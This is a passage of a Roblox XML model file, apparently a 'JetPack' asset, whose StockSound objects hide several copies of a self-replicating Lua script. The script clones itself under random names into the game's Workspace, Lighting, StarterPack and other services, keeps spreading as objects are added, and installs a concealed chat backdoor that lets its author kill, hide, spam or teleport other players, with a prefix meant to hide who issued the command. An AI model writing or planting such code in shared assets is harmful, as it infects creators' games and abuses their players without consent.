pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX544">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">wcn84mi</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX545">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">b9gch</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX546">
				<Properties>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">JetPack</string>
					<Ref name="PrimaryPart">RBX547</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX548">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-9.31616211</X>
							<Y>0.887965441</Y>
							<Z>188.203796</Z>
							<R00>-0.885287762</R00>
							<R01>0.465043157</R01>
							<R02>0.000604039466</R02>
							<R10>-0.000680366473</R10>
							<R11>3.91795356e-006</R11>
							<R12>-0.999999702</R12>
							<R20>-0.465043068</R20>
							<R21>-0.885287881</R21>
							<R22>0.000312906661</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">3</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">P9</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00625899481</X>
							<Y>-0.000351006136</Y>
							<Z>0.00144866761</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.5</float>
						<Vector3 name="Velocity">
							<X>0.00237182761</X>
							<Y>0.00911711995</Y>
							<Z>0.00166465214</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX549">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">5p7nta9</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX550">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">pzlvrubni</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
